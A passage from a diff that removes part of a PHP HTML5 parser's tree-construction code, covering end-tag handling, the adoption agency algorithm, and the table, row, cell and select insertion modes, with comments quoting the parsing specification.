If the current node is not the body element, then this - is a parse error. */ - } elseif(end($this->stack)->nodeName !== 'body') { - // Parse error. - } - - /* Change the insertion mode to "after body". */ - $this->mode = self::AFTER_BODY; - break; - - /* An end tag with the tag name "html" */ - case 'html': - /* Act as if an end tag with tag name "body" had been seen, - then, if that token wasn't ignored, reprocess the current - token. */ - $this->inBody(array( - 'name' => 'body', - 'type' => HTML5::ENDTAG - )); - - return $this->afterBody($token); - break; - - /* An end tag whose tag name is one of: "address", "blockquote", - "center", "dir", "div", "dl", "fieldset", "listing", "menu", - "ol", "pre", "ul" */ - case 'address': case 'blockquote': case 'center': case 'dir': - case 'div': case 'dl': case 'fieldset': case 'listing': - case 'menu': case 'ol': case 'pre': case 'ul': - /* If the stack of open elements has an element in scope - with the same tag name as that of the token, then generate - implied end tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with - the same tag name as that of the token, then this - is a parse error. */ - // w/e - - /* If the stack of open elements has an element in - scope with the same tag name as that of the token, - then pop elements from this stack until an element - with that tag name has been popped from the stack. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is "form" */ - case 'form': - /* If the stack of open elements has an element in scope - with the same tag name as that of the token, then generate - implied end tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - } - - if(end($this->stack)->nodeName !== $token['name']) { - /* Now, if the current node is not an element with the - same tag name as that of the token, then this is a parse - error. */ - // w/e - - } else { - /* Otherwise, if the current node is an element with - the same tag name as that of the token pop that element - from the stack. */ - array_pop($this->stack); - } - - /* In any case, set the form element pointer to null. */ - $this->form_pointer = null; - break; - - /* An end tag whose tag name is "p" */ - case 'p': - /* If the stack of open elements has a p element in scope, - then generate implied end tags, except for p elements. */ - if($this->elementInScope('p')) { - $this->generateImpliedEndTags(array('p')); - - /* If the current node is not a p element, then this is - a parse error. */ - // k - - /* If the stack of open elements has a p element in - scope, then pop elements from this stack until the stack - no longer has a p element in scope. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->elementInScope('p')) { - array_pop($this->stack); - - } else { - break; - } - } - } - break; - - /* An end tag whose tag name is "dd", "dt", or "li" */ - case 'dd': case 'dt': case 'li': - /* If the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then - generate implied end tags, except for elements with the - same tag name as the token. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(array($token['name'])); - - /* If the current node is not an element with the same - tag name as the token, then this is a parse error. */ - // w/e - - /* If the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then - pop elements from this stack until an element with that - tag name has been popped from the stack. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is one of: "h1", "h2", "h3", "h4", - "h5", "h6" */ - case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': - $elements = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'); - - /* If the stack of open elements has in scope an element whose - tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then - generate implied end tags. */ - if($this->elementInScope($elements)) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with the same - tag name as that of the token, then this is a parse error. */ - // w/e - - /* If the stack of open elements has in scope an element - whose tag name is one of "h1", "h2", "h3", "h4", "h5", or - "h6", then pop elements from the stack until an element - with one of those tag names has been popped from the stack. */ - while($this->elementInScope($elements)) { - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is one of: "a", "b", "big", "em", - "font", "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ - case 'a': case 'b': case 'big': case 'em': case 'font': - case 'i': case 'nobr': case 's': case 'small': case 'strike': - case 'strong': case 'tt': case 'u': - /* 1. Let the formatting element be the last element in - the list of active formatting elements that: - * is between the end of the list and the last scope - marker in the list, if any, or the start of the list - otherwise, and - * has the same tag name as the token. - */ - while(true) { - for($a = count($this->a_formatting) - 1; $a >= 0; $a--) { - if($this->a_formatting[$a] === self::MARKER) { - break; - - } elseif($this->a_formatting[$a]->tagName === $token['name']) { - $formatting_element = $this->a_formatting[$a]; - $in_stack = in_array($formatting_element, $this->stack, true); - $fe_af_pos = $a; - break; - } - } - - /* If there is no such node, or, if that node is - also in the stack of open elements but the element - is not in scope, then this is a parse error. Abort - these steps. The token is ignored. */ - if(!isset($formatting_element) || ($in_stack && - !$this->elementInScope($token['name']))) { - break; - - /* Otherwise, if there is such a node, but that node - is not in the stack of open elements, then this is a - parse error; remove the element from the list, and - abort these steps. */ - } elseif(isset($formatting_element) && !$in_stack) { - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - break; - } - - /* 2. Let the furthest block be the topmost node in the - stack of open elements that is lower in the stack - than the formatting element, and is not an element in - the phrasing or formatting categories. There might - not be one. */ - $fe_s_pos = array_search($formatting_element, $this->stack, true); - $length = count($this->stack); - - for($s = $fe_s_pos + 1; $s < $length; $s++) { - $category = $this->getElementCategory($this->stack[$s]->nodeName); - - if($category !== self::PHRASING && $category !== self::FORMATTING) { - $furthest_block = $this->stack[$s]; - } - } - - /* 3. If there is no furthest block, then the UA must - skip the subsequent steps and instead just pop all - the nodes from the bottom of the stack of open - elements, from the current node up to the formatting - element, and remove the formatting element from the - list of active formatting elements. */ - if(!isset($furthest_block)) { - for($n = $length - 1; $n >= $fe_s_pos; $n--) { - array_pop($this->stack); - } - - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - break; - } - - /* 4. Let the common ancestor be the element - immediately above the formatting element in the stack - of open elements. */ - $common_ancestor = $this->stack[$fe_s_pos - 1]; - - /* 5. If the furthest block has a parent node, then - remove the furthest block from its parent node. */ - if($furthest_block->parentNode !== null) { - $furthest_block->parentNode->removeChild($furthest_block); - } - - /* 6. Let a bookmark note the position of the - formatting element in the list of active formatting - elements relative to the elements on either side - of it in the list. */ - $bookmark = $fe_af_pos; - - /* 7. Let node and last node be the furthest block. - Follow these steps: */ - $node = $furthest_block; - $last_node = $furthest_block; - - while(true) { - for($n = array_search($node, $this->stack, true) - 1; $n >= 0; $n--) { - /* 7.1 Let node be the element immediately - prior to node in the stack of open elements. */ - $node = $this->stack[$n]; - - /* 7.2 If node is not in the list of active - formatting elements, then remove node from - the stack of open elements and then go back - to step 1. */ - if(!in_array($node, $this->a_formatting, true)) { - unset($this->stack[$n]); - $this->stack = array_merge($this->stack); - - } else { - break; - } - } - - /* 7.3 Otherwise, if node is the formatting - element, then go to the next step in the overall - algorithm. */ - if($node === $formatting_element) { - break; - - /* 7.4 Otherwise, if last node is the furthest - block, then move the aforementioned bookmark to - be immediately after the node in the list of - active formatting elements. */ - } elseif($last_node === $furthest_block) { - $bookmark = array_search($node, $this->a_formatting, true) + 1; - } - - /* 7.5 If node has any children, perform a - shallow clone of node, replace the entry for - node in the list of active formatting elements - with an entry for the clone, replace the entry - for node in the stack of open elements with an - entry for the clone, and let node be the clone. */ - if($node->hasChildNodes()) { - $clone = $node->cloneNode(); - $s_pos = array_search($node, $this->stack, true); - $a_pos = array_search($node, $this->a_formatting, true); - - $this->stack[$s_pos] = $clone; - $this->a_formatting[$a_pos] = $clone; - $node = $clone; - } - - /* 7.6 Insert last node into node, first removing - it from its previous parent node if any. */ - if($last_node->parentNode !== null) { - $last_node->parentNode->removeChild($last_node); - } - - $node->appendChild($last_node); - - /* 7.7 Let last node be node. */ - $last_node = $node; - } - - /* 8. Insert whatever last node ended up being in - the previous step into the common ancestor node, - first removing it from its previous parent node if - any. */ - if($last_node->parentNode !== null) { - $last_node->parentNode->removeChild($last_node); - } - - $common_ancestor->appendChild($last_node); - - /* 9. Perform a shallow clone of the formatting - element. */ - $clone = $formatting_element->cloneNode(); - - /* 10. Take all of the child nodes of the furthest - block and append them to the clone created in the - last step. */ - while($furthest_block->hasChildNodes()) { - $child = $furthest_block->firstChild; - $furthest_block->removeChild($child); - $clone->appendChild($child); - } - - /* 11. Append that clone to the furthest block. */ - $furthest_block->appendChild($clone); - - /* 12. Remove the formatting element from the list - of active formatting elements, and insert the clone - into the list of active formatting elements at the - position of the aforementioned bookmark. */ - $fe_af_pos = array_search($formatting_element, $this->a_formatting, true); - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - - $af_part1 = array_slice($this->a_formatting, 0, $bookmark - 1); - $af_part2 = array_slice($this->a_formatting, $bookmark, count($this->a_formatting)); - $this->a_formatting = array_merge($af_part1, array($clone), $af_part2); - - /* 13. Remove the formatting element from the stack - of open elements, and insert the clone into the stack - of open elements immediately after (i.e. in a more - deeply nested position than) the position of the - furthest block in that stack. */ - $fe_s_pos = array_search($formatting_element, $this->stack, true); - $fb_s_pos = array_search($furthest_block, $this->stack, true); - unset($this->stack[$fe_s_pos]); - - $s_part1 = array_slice($this->stack, 0, $fb_s_pos); - $s_part2 = array_slice($this->stack, $fb_s_pos + 1, count($this->stack)); - $this->stack = array_merge($s_part1, array($clone), $s_part2); - - /* 14. Jump back to step 1 in this series of steps. */ - unset($formatting_element, $fe_af_pos, $fe_s_pos, $furthest_block); - } - break; - - /* An end tag token whose tag name is one of: "button", - "marquee", "object" */ - case 'button': case 'marquee': case 'object': - /* If the stack of open elements has an element in scope whose - tag name matches the tag name of the token, then generate implied - tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with the same - tag name as the token, then this is a parse error. */ - // k - - /* Now, if the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then pop - elements from the stack until that element has been popped from - the stack, and clear the list of active formatting elements up - to the last marker. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - - $marker = end(array_keys($this->a_formatting, self::MARKER, true)); - - for($n = count($this->a_formatting) - 1; $n > $marker; $n--) { - array_pop($this->a_formatting); - } - } - break; - - /* Or an end tag whose tag name is one of: "area", "basefont", - "bgsound", "br", "embed", "hr", "iframe", "image", "img", - "input", "isindex", "noembed", "noframes", "param", "select", - "spacer", "table", "textarea", "wbr" */ - case 'area': case 'basefont': case 'bgsound': case 'br': - case 'embed': case 'hr': case 'iframe': case 'image': - case 'img': case 'input': case 'isindex': case 'noembed': - case 'noframes': case 'param': case 'select': case 'spacer': - case 'table': case 'textarea': case 'wbr': - // Parse error. Ignore the token. - break; - - /* An end tag token not covered by the previous entries */ - default: - for($n = count($this->stack) - 1; $n >= 0; $n--) { - /* Initialise node to be the current node (the bottommost - node of the stack). */ - $node = end($this->stack); - - /* If node has the same tag name as the end tag token, - then: */ - if($token['name'] === $node->nodeName) { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* If the tag name of the end tag token does not - match the tag name of the current node, this is a - parse error. */ - // k - - /* Pop all the nodes from the current node up to - node, including node, then stop this algorithm. */ - for($x = count($this->stack) - $n; $x >= $n; $x--) { - array_pop($this->stack); - } - - } else { - $category = $this->getElementCategory($node); - - if($category !== self::SPECIAL && $category !== self::SCOPING) { - /* Otherwise, if node is in neither the formatting - category nor the phrasing category, then this is a - parse error. Stop this algorithm. The end tag token - is ignored. */ - return false; - } - } - } - break; - } - break; - } - } - - private function inTable($token) { - $clear = array('html', 'table'); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $text = $this->dom->createTextNode($token['data']); - end($this->stack)->appendChild($text); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - end($this->stack)->appendChild($comment); - - /* A start tag whose tag name is "caption" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'caption') { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - - /* Insert an HTML element for the token, then switch the - insertion mode to "in caption". */ - $this->insertElement($token); - $this->mode = self::IN_CAPTION; - - /* A start tag whose tag name is "colgroup" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'colgroup') { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the - insertion mode to "in column group". */ - $this->insertElement($token); - $this->mode = self::IN_CGROUP; - - /* A start tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'col') { - $this->inTable(array( - 'name' => 'colgroup', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - $this->inColumnGroup($token); - - /* A start tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('tbody', 'tfoot', 'thead'))) { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the insertion - mode to "in table body". */ - $this->insertElement($token); - $this->mode = self::IN_TBODY; - - /* A start tag whose tag name is one of: "td", "th", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && - in_array($token['name'], array('td', 'th', 'tr'))) { - /* Act as if a start tag token with the tag name "tbody" had been - seen, then reprocess the current token. */ - $this->inTable(array( - 'name' => 'tbody', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inTableBody($token); - - /* A start tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'table') { - /* Parse error. Act as if an end tag token with the tag name "table" - had been seen, then, if that token wasn't ignored, reprocess the - current token. */ - $this->inTable(array( - 'name' => 'table', - 'type' => HTML5::ENDTAG - )); - - return $this->mainPhase($token); - - /* An end tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'table') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - return false; - - /* Otherwise: */ - } else { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Now, if the current node is not a table element, then this - is a parse error. */ - // w/e - - /* Pop elements from this stack until a table element has been - popped from the stack. */ - while(true) { - $current = end($this->stack)->nodeName; - array_pop($this->stack); - - if($current === 'table') { - break; - } - } - - /* Reset the insertion mode appropriately. */ - $this->resetInsertionMode(); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'tbody', 'td', - 'tfoot', 'th', 'thead', 'tr'))) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* Parse error. Process the token as if the insertion mode was "in - body", with the following exception: */ - - /* If the current node is a table, tbody, tfoot, thead, or tr - element, then, whenever a node would be inserted into the current - node, it must instead be inserted into the foster parent element. */ - if(in_array(end($this->stack)->nodeName, - array('table', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* The foster parent element is the parent element of the last - table element in the stack of open elements, if there is a - table element and it has such a parent element. If there is no - table element in the stack of open elements (innerHTML case), - then the foster parent element is the first element in the - stack of open elements (the html element). Otherwise, if there - is a table element in the stack of open elements, but the last - table element in the stack of open elements has no parent, or - its parent node is not an element, then the foster parent - element is the element before the last table element in the - stack of open elements. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === 'table') { - $table = $this->stack[$n]; - break; - } - } - - if(isset($table) && $table->parentNode !== null) { - $this->foster_parent = $table->parentNode; - - } elseif(!isset($table)) { - $this->foster_parent = $this->stack[0]; - - } elseif(isset($table) && ($table->parentNode === null || - $table->parentNode->nodeType !== XML_ELEMENT_NODE)) { - $this->foster_parent = $this->stack[$n - 1]; - } - } - - $this->inBody($token); - } - } - - private function inCaption($token) { - /* An end tag whose tag name is "caption" */ - if($token['type'] === HTML5::ENDTAG && $token['name'] === 'caption') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore - - /* Otherwise: */ - } else { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Now, if the current node is not a caption element, then this - is a parse error. */ - // w/e - - /* Pop elements from this stack until a caption element has - been popped from the stack. */ - while(true) { - $node = end($this->stack)->nodeName; - array_pop($this->stack); - - if($node === 'caption') { - break; - } - } - - /* Clear the list of active formatting elements up to the last - marker. */ - $this->clearTheActiveFormattingElementsUpToTheLastMarker(); - - /* Switch the insertion mode to "in table". */ - $this->mode = self::IN_TABLE; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr", or an end tag whose tag - name is "table" */ - } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) || ($token['type'] === HTML5::ENDTAG && - $token['name'] === 'table')) { - /* Parse error. Act as if an end tag with the tag name "caption" - had been seen, then, if that token wasn't ignored, reprocess the - current token. */ - $this->inCaption(array( - 'name' => 'caption', - 'type' => HTML5::ENDTAG - )); - - return $this->inTable($token); - - /* An end tag whose tag name is one of: "body", "col", "colgroup", - "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'col', 'colgroup', 'html', 'tbody', 'tfoot', 'th', - 'thead', 'tr'))) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in body". */ - $this->inBody($token); - } - } - - private function inColumnGroup($token) { - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $text = $this->dom->createTextNode($token['data']); - end($this->stack)->appendChild($text); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - end($this->stack)->appendChild($comment); - - /* A start tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'col') { - /* Insert a col element for the token. Immediately pop the current - node off the stack of open elements. */ - $this->insertElement($token); - array_pop($this->stack); - - /* An end tag whose tag name is "colgroup" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'colgroup') { - /* If the current node is the root html element, then this is a - parse error, ignore the token. (innerHTML case) */ - if(end($this->stack)->nodeName === 'html') { - // Ignore - - /* Otherwise, pop the current node (which will be a colgroup - element) from the stack of open elements. Switch the insertion - mode to "in table". */ - } else { - array_pop($this->stack); - $this->mode = self::IN_TABLE; - } - - /* An end tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'col') { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Act as if an end tag with the tag name "colgroup" had been seen, - and then, if that token wasn't ignored, reprocess the current token. */ - $this->inColumnGroup(array( - 'name' => 'colgroup', - 'type' => HTML5::ENDTAG - )); - - return $this->inTable($token); - } - } - - private function inTableBody($token) { - $clear = array('tbody', 'tfoot', 'thead', 'html'); - - /* A start tag whose tag name is "tr" */ - if($token['type'] === HTML5::STARTTAG && $token['name'] === 'tr') { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Insert a tr element for the token, then switch the insertion - mode to "in row". */ - $this->insertElement($token); - $this->mode = self::IN_ROW; - - /* A start tag whose tag name is one of: "th", "td" */ - } elseif($token['type'] === HTML5::STARTTAG && - ($token['name'] === 'th' || $token['name'] === 'td')) { - /* Parse error. Act as if a start tag with the tag name "tr" had - been seen, then reprocess the current token. */ - $this->inTableBody(array( - 'name' => 'tr', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inRow($token); - - /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('tbody', 'tfoot', 'thead'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore - - /* Otherwise: */ - } else { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Pop the current node from the stack of open elements. Switch - the insertion mode to "in table". */ - array_pop($this->stack); - $this->mode = self::IN_TABLE; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "tfoot", "thead", or an end tag whose tag name is "table" */ - } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'tfoor', 'thead'))) || - ($token['type'] === HTML5::STARTTAG && $token['name'] === 'table')) { - /* If the stack of open elements does not have a tbody, thead, or - tfoot element in table scope, this is a parse error. Ignore the - token. (innerHTML case) */ - if(!$this->elementInScope(array('tbody', 'thead', 'tfoot'), true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Act as if an end tag with the same tag name as the current - node ("tbody", "tfoot", or "thead") had been seen, then - reprocess the current token. */ - $this->inTableBody(array( - 'name' => end($this->stack)->nodeName, - 'type' => HTML5::ENDTAG - )); - - return $this->mainPhase($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "td", "th", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in table". */ - $this->inTable($token); - } - } - - private function inRow($token) { - $clear = array('tr', 'html'); - - /* A start tag whose tag name is one of: "th", "td" */ - if($token['type'] === HTML5::STARTTAG && - ($token['name'] === 'th' || $token['name'] === 'td')) { - /* Clear the stack back to a table row context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the insertion - mode to "in cell". */ - $this->insertElement($token); - $this->mode = self::IN_CELL; - - /* Insert a marker at the end of the list of active formatting - elements. */ - $this->a_formatting[] = self::MARKER; - - /* An end tag whose tag name is "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'tr') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Clear the stack back to a table row context. */ - $this->clearStackToTableContext($clear); - - /* Pop the current node (which will be a tr element) from the - stack of open elements. Switch the insertion mode to "in table - body". */ - array_pop($this->stack); - $this->mode = self::IN_TBODY; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "tfoot", "thead", "tr" or an end tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* Act as if an end tag with the tag name "tr" had been seen, then, - if that token wasn't ignored, reprocess the current token. */ - $this->inRow(array( - 'name' => 'tr', - 'type' => HTML5::ENDTAG - )); - - return $this->inCell($token); - - /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('tbody', 'tfoot', 'thead'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Otherwise, act as if an end tag with the tag name "tr" had - been seen, then reprocess the current token. */ - $this->inRow(array( - 'name' => 'tr', - 'type' => HTML5::ENDTAG - )); - - return $this->inCell($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "td", "th" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in table". */ - $this->inTable($token); - } - } - - private function inCell($token) { - /* An end tag whose tag name is one of: "td", "th" */ - if($token['type'] === HTML5::ENDTAG && - ($token['name'] === 'td' || $token['name'] === 'th')) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as that of the token, then this is a - parse error and the token must be ignored. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Generate implied end tags, except for elements with the same - tag name as the token. */ - $this->generateImpliedEndTags(array($token['name'])); - - /* Now, if the current node is not an element with the same tag - name as the token, then this is a parse error. */ - // k - - /* Pop elements from this stack until an element with the same - tag name as the token has been popped from the stack. */ - while(true) { - $node = end($this->stack)->nodeName; - array_pop($this->stack); - - if($node === $token['name']) { - break; - } - } - - /* Clear the list of active formatting elements up to the last - marker. */ - $this->clearTheActiveFormattingElementsUpToTheLastMarker(); - - /* Switch the insertion mode to "in row". (The current node - will be a tr element at this point.) */ - $this->mode = self::IN_ROW; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) { - /* If the stack of open elements does not have a td or th element - in table scope, then this is a parse error; ignore the token. - (innerHTML case) */ - if(!$this->elementInScope(array('td', 'th'), true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) { - /* If the stack of open elements does not have a td or th element - in table scope, then this is a parse error; ignore the token. - (innerHTML case) */ - if(!$this->elementInScope(array('td', 'th'), true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html'))) { - /* Parse error. Ignore the token. */ - - /* An end tag whose tag name is one of: "table", "tbody", "tfoot", - "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('table', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as that of the token (which can only - happen for "tbody", "tfoot" and "thead", or, in the innerHTML case), - then this is a parse error and the token must be ignored. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in body". */ - $this->inBody($token); - } - } - - private function inSelect($token) { - /* Handle the token as follows: */ - - /* A character token */ - if($token['type'] === HTML5::CHARACTR) { - /* Append the token's character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token whose tag name is "option" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'option') { - /* If the current node is an option element, act as if an end tag - with the tag name "option" had been seen. */ - if(end($this->stack)->nodeName === 'option') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* A start tag token whose tag name is "optgroup" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'optgroup') { - /* If the current node is an option element, act as if an end tag - with the tag name "option" had been seen. */ - if(end($this->stack)->nodeName === 'option') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* If the current node is an optgroup element, act as if an end tag - with the tag name "optgroup" had been seen. */ - if(end($this->stack)->nodeName === 'optgroup') { - $this->inSelect(array( - 'name' => 'optgroup', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* An end tag token whose tag name is "optgroup" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'optgroup') { - /* First, if the current node is an option element, and the node - immediately before it in the stack of open elements is an optgroup - element, then act as if an end tag with the tag name "option" had - been seen. */ - $elements_in_stack = count($this->stack); - - if($this->stack[$elements_in_stack - 1]->nodeName === 'option' && - $this->stack[$elements_in_stack - 2]->nodeName === 'optgroup') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* If the current node is an optgroup element, then pop that node - from the stack of open elements. Otherwise, this is a parse error, - ignore the token. */ - if($this->stack[$elements_in_stack - 1] === 'optgroup') { - array_pop($this->stack); - } - - /* An end tag token whose tag name is "option" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'option') { - /* If the current 